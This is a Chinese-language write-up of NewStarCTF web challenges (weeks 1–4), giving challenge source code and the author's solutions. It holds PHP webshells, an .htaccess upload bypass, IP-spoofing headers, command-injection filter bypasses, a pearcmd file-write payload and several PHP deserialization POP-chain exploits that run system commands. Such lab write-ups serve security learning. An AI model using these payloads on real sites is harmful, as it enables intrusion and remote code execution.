NewStarCTF web
week1
泄露的秘密
直接用disearch扫描,拿到robots.txt和www.zip,拼接得到完整的flag
flag{r0bots_1s_s0_us3ful_4nd_www.zip_1s_s0_d4ng3rous}
Begin of Upload
先创建txt文件,写入一句话木马,在上传时得知,只允许图片形式,将文件改为jpg图片后缀,上传时,抓包,改包,如下:

然后用蚁剑进入后门即可:

在这个文件中得到flag,flag{2e5dd867-8ece-4cfd-9044-3ebf96f1558c}
Begin of HTTP
根据提示一步一步来,需要注意的是最后的本地访问时,X-Forwarded-For失效,下面的伪造头一个一个试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| X-Forwarded-For:127.0.0.1 X-Forwarded:127.0.0.1 Forwarded-For:127.0.0.1 Forwarded:127.0.0.1 X-Forwarded-Host:127.0.0.1 X-remote-IP:127.0.0.1 X-remote-addr:127.0.0.1 True-Client-IP:127.0.0.1 X-Client-IP:127.0.0.1 Client-IP:127.0.0.1 X-Real-IP:127.0.0.1 Ali-CDN-Real-IP:127.0.0.1 Cdn-Src-Ip:127.0.0.1 Cdn-Real-Ip:127.0.0.1 CF-Connecting-IP:127.0.0.1 X-Cluster-Client-IP:127.0.0.1 WL-Proxy-Client-IP:127.0.0.1 Proxy-Client-IP:127.0.0.1 Fastly-Client-Ip:127.0.0.1 True-Client-Ip:127.0.0.1
Host: 127.0.0.1
|
flag{75906422-b701-4fe8-803f-89be1ada5fd6}
ErrorFlask
很简单,直接将参数的值故意输错,看报错就行:

Begin of PHP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| <?php error_reporting(0); highlight_file(__FILE__);
if(isset($_GET['key1']) && isset($_GET['key2'])){ echo "=Level 1=<br>"; if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){ $flag1 = True; }else{ die("nope,this is level 1"); } }
if($flag1){ echo "=Level 2=<br>"; if(isset($_POST['key3'])){ if(md5($_POST['key3']) === sha1($_POST['key3'])){ $flag2 = True; } }else{ die("nope,this is level 2"); } }
if($flag2){ echo "=Level 3=<br>"; if(isset($_GET['key4'])){ if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){ $flag3 = True; }else{ die("nope,this is level 3"); } } }
if($flag3){ echo "=Level 4=<br>"; if(isset($_GET['key5'])){ if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){ $flag4 = True; }else{ die("nope,this is level 4"); } } }
if($flag4){ echo "=Level 5=<br>"; extract($_POST); foreach($_POST as $var){ if(preg_match("/[a-zA-Z0-9]/",$var)){ die("nope,this is level 5"); } } if($flag5){ echo file_get_contents("/flag"); }else{ die("nope,this is level 5"); } }
|
前面几步很简单,最后传入关联数组后,需要flag5为真,且flag5为无字符变量,直接构造payload:
1
| flag5=(~%8F%97%8F%96%91%99%90)(); //相当于语句phpinfo();
|
flag{0e742ffa-dc49-41d5-bdaa-f2c91e598fab}
R!C!E!
1 2 3 4 5 6 7 8 9 10 11
| <?php highlight_file(__FILE__); if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){ $password=md5($_POST['password']); $code=$_POST['e_v.a.l']; if(substr($password,0,6)==="c4d038"){ if(!preg_match("/flag|system|pass|cat|ls/i",$code)){ eval($code); } } }
|
过滤的命令用/\双写都没办法绕过,换用tac(从最后一排开始输出)可以避免用这几个命令,payload:
1
| password=114514&e[v.a.l=echo `tac /fl*`; //_在post请求中非法,用[代替,用反引号避免无法解析
|
flag{afa8401e-9ce8-43da-96d2-5719aae6fc40}
EasyLogin
直接密码爆破,admin 000000,抓包可以看到flag

总结
知道了tac命令以及在post传值时,_是不合法的
week2
游戏高手
查看js,发现关键代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| function gameover(){ if(gameScore > 100000){ var xhr = new XMLHttpRequest(); xhr.open("POST", "/api.php", true); xhr.setRequestHeader("Content-Type", "application/json"); xhr.onreadystatechange = function() { if (xhr.readyState === 4 && xhr.status === 200) { var response = JSON.parse(xhr.responseText); alert(response.message); } }; var data = { score: gameScore, }; xhr.send(JSON.stringify(data)); } alert("成绩:"+gameScore); gameScore=0; curPhase =PHASE_READY; hero = null; hero = new Hero(); }
|
审计代码,只要以json方式在api.php页面上传的score大于100000,就会返回flag,直接上传即可:
1 2 3 4 5 6 7 8 9 10
| import requests url="http://aba9532b-cca9-44fe-ae0b-f9635e6e6247.node4.buuoj.cn:81/api.php"
data={ 'score':111111 }
response=requests.post(url=url,json=data).text
print(response)
|
include0。0
文件包含
1 2 3 4 5 6 7 8 9 10
| <?php highlight_file(__FILE__);
$file = $_GET['file']; if(isset($file) && !preg_match('/base|rot/i',$file)){ @include($file); }else{ die("nope"); } ?> nope
|
过滤了base rot
,可以选择使用其他过滤器,格式:php://filter/convert.iconv.*/resource=flag.php
,过滤器使用方法:
convert.iconv.<input-encoding>.<output-encoding> 或者 convert.iconv.<input-encoding>/<output-encoding>``这里的<input-encoding>和<output-encoding>分别为输入的字符串编码方式和输出的字符串编码方式(字符集)。
,所以我们可以先定下输入编码方式,爆破输出编码方式。payload:
php://filter/convert.iconv.UTF-8.爆破位置/resource=flag.php

ez_sql
插入万能密码,提示no,说明有waf,试了一下是大小写绕过,直接用sqlmap的randomcase.py模块一把梭。

Unserialize?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php highlight_file(__FILE__);
class evil { private $cmd;
public function __destruct() { if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){ @system($this->cmd); } } }
@unserialize($_POST['unser']); ?>
|
很简单的反序列化,只要cmd执行即可,唯一需要注意的是,需要将私有属性改为公有,这样对象才能执行任意命令,exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| `<?php`
`highlight_file(__FILE__);`
`
`class evil {`
`public $cmd="ls /;uniq /th1s_1s_fffflllll4444aaaggggg";`
`}`
`$a=new evil;`
`echo serialize($a);`
`?>`
|
payload:O:4:"evil":1:{s:3:"cmd";s:40:"ls /;uniq /th1s_1s_fffflllll4444aaaggggg";}
Upload again!
文件上传,经过反复测试,后端对php解析的所有后缀都过滤了,绕过方法:上传.htaccess
配置文件,修改配置使得所有文件都可以解析:SetHandler application/x-httpd-php
并且会检测文件内容中是否存在<?php或<?
标签,存在也会上传失败,绕过方法,使用html中的script
标签执行eval
函数:
1 2 3
| <script language="php"> eval($_POST['a']); </script>
|
将文件令为html文件,上传访问解析即可,然后进入后门。
R!!C!!E!!
提示什么都没有,看看leaked,是.git
泄露,用工具发现bo0g1pop.php
,访问:
1 2 3 4 5 6 7
| <?php highlight_file(__FILE__); if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) { if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){ eval($_GET['star']); } }
|
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star']))
将除字母、下划线、括号外的所有字符都删除,那么这里就是无字符参数rce,需要用函数进行构造,由于将scandir过滤了,所以无法直接访问到目录,这里可以用getallheaders()
函数进行rce,由于这个函数会匹配所有header,我们只需要我们插入的那项,这时候会用到这两个函数:
array_flip()
是交换数组的键和值,array_rand()
是随机返回一个数组,使用array_rand(array_flip())
就有可能匹配到我们的rce命令,payload:
1 2 3 4
| //header Leon: ls /;cat /flag; //GET ?star=system(array_rand(array_flip(getallheaders())));
|
由于是随机匹配,所以需要多进行几次刷新,就可以拿到flag。
参考:https://zhuanlan.zhihu.com/p/157431794
week3
include🍐
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php error_reporting(0); if(isset($_GET['file'])) { $file = $_GET['file']; if(preg_match('/flag|log|session|filter|input|data/i', $file)) { die('hacker!'); } include($file.".php"); } else { highlight_file(__FILE__); } ?>
|
提示在phpinfo.php,访问给到提示register_argc_argv
是开启状态,了解register_argc_argv与rce,还有需要注意的是,利用的漏洞文件pearcmd.php
路径是在/usr/local/lib/php/pearcmd.php
,构造payload:?file=/usr/local/lib/php/pearcmd&+config-create+/<?=@eval($_POST['cmd']);?>+2.php
,由于文件包含时加了.php,所以这里的pearcmd不加,在pear命令中,分隔符为+而不是&,所以payload意思为:包含这个文件,这时执行pear命令,创建2.php文件并向文件内写入一句话木马(注意这个文件我们没用指定上传路径,所以默认就是在网页目录),访问这个文件,发现文件被解析,直接可以进入后门。
popGadget
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| <?php highlight_file(__FILE__);
class Begin{ public $name;
public function __destruct() { if(preg_match("/[a-zA-Z0-9]/",$this->name)){ echo "Hello"; }else{ echo "Welcome to NewStarCTF 2023!"; } } }
class Then{ private $func;
public function __toString() { ($this->func)(); return "Good Job!"; }
}
class Handle{ protected $obj;
public function __call($func, $vars) { $this->obj->end(); }
}
class Super{ protected $obj; public function __invoke() { $this->obj->getStr(); }
public function end() { die("==GAME OVER=="); } }
class CTF{ public $handle;
public function end() { unset($this->handle->log); }
}
class WhiteGod{ public $func; public $var;
public function __unset($var) { ($this->func)($this->var); } }
@unserialize($_POST['pop']);
|
我们可以分析发现,由Begin->name
的字符比较触发__toString
,__toString
中将类当做函数使用触发__invoke
,__invoke
中访问不存在的函数触发__call
,由__call
触发end
,最后调用unset
访问不可访问的属性触发__unset
,通过__unset方法中的操作可以进行命令执行,但是要注意的是,保护属性和私有属性必须在类内访问,类外不可访问,最后序列化出来的字符串可以通过url编码的形式绕过保护属性和私有属性的检查。exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| <?php highlight_file(__FILE__);
class Begin{ public $name;
public function __construct() { $this->name=new Then(); } }
class Then{ private $func;
public function __construct() { $this->func=new Super(); }
}
class Handle{ protected $obj;
public function __construct() { $this->obj=new Ctf(); }
}
class Super{ protected $obj; public function __construct() { $this->obj=new Handle(); }
}
class CTF{ public $handle;
public function __construct() { $this->handle=new WhiteGod(); }
}
class WhiteGod{ public $func="system"; public $var="ls /;cat /flag";
public function __construct() { ($this->func)($this->var); } }
$begin=new Begin(); echo urlencode(serialize($begin));
|
R!!!C!!!E!!!
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php highlight_file(__FILE__); class minipop{ public $code; public $qwejaskdjnlka; public function __toString() { if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){ exec($this->code); } return "alright"; } public function __destruct() { echo $this->qwejaskdjnlka; } } if(isset($_POST['payload'])){ unserialize($_POST['payload']); }
|
这里是exec命令执行函数,由于这个函数在执行命令后不会输出,可以用tee命令将其命令结果写在文件里,用法:exec("ls / | tee x")
:将根目录文件名写进x文件里,这里过滤了tee,可以用''
绕过,exp:
1 2 3 4 5 6 7 8 9 10 11 12
| <?php highlight_file(__FILE__); class minipop{ public $code="cat /flag_is_h3eeere | t''ee h"; public $qwejaskdjnlka; }
$a=new minipop(); $b=new minipop(); $b->qwejaskdjnlka=$a;
echo serialize($b);
|

GenShin
首先根据提示,在网络中找到需要访问的路径为secr3tofpop
,提示通过get方式给name传参,尝试ssti注入,发现有waf,直接fenjing一把梭

week4
逃
题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php highlight_file(__FILE__); function waf($str){ return str_replace("bad","good",$str); }
class GetFlag { public $key; public $cmd = "whoami"; public function __construct($key) { $this->key = $key; } public function __destruct() { system($this->cmd); } }
unserialize(waf(serialize(new GetFlag($_GET['key']))));
|
关键函数:str_replace
,典型的反序列化字符串逃逸,传入的字符串通过控制bad数量,顶出我们需要的代码,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php
$str='";s:3:"cmd";s:4:"ls /";}'; $str2='";s:3:"cmd";s:9:"cat /flag";}'; echo strlen($str2);
|
已知";s:3:"cmd";s:9:"cat /flag
长度为29,顶出29个字符即可,payload:
1
| ?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}
|
More Fast
题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| <?php highlight_file(__FILE__);
class Start{ public $errMsg; public function __destruct() { die($this->errMsg); } }
class Pwn{ public $obj; public function __invoke(){ $this->obj->evil(); } public function evil() { phpinfo(); } }
class Reverse{ public $func; public function __get($var) { ($this->func)(); } }
class Web{ public $func; public $var; public function evil() { if(!preg_match("/flag/i",$this->var)){ ($this->func)($this->var); }else{ echo "Not Flag"; } } }
class Crypto{ public $obj; public function __toString() { $wel = $this->obj->good; return "NewStar"; } }
class Misc{ public function evil() { echo "good job but nothing"; } }
$a = @unserialize($_POST['fast']); throw new Exception("Nope")
|
很简单的反序列化,但是注意在最后throw new Exception("Nope")
,反序列化后会扔出一个异常,此时对象还未销毁,所以__destruct()
函数还未得以触发,在php中,当对象被销毁时会自动调用__destruct()
方法,但如果程序报错或者抛出异常,就不会触发该魔术方法。
当一个类创建之后它会自己消失,而 __destruct()
魔术方法的触发条件就是一个类被销毁时触发,而throw那个函数就是回收了自动销毁的类,导致destruct检测不到有东西销毁,从而也就导致无法触发destruct函数。
我们可以通过提前触发垃圾回收机制来抛出异常,从而绕过GC回收,唤醒__destruct()
魔术方法。那么这里有三种方法:
- 将属性增加,与绕过
__wakeup()
函数相似
- 将序列化后的字符串删除一个}
- 将链子放进一个数组再序列化,最后将数组键值乱序即可(如:数组下标为0、1、2,随意修改一个下标即可)
原理都一样,总之就是提前引出错误,触发垃圾回收机制,这样throw就不会再回收自动销毁的类了。
payload:
1 2 3 4 5 6
| //方法1 fast=O:5:"Start":2:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}} //方法2 fast=O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}} //方法3 fast=a:2:{i:1;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}}i:1;i:0;}
|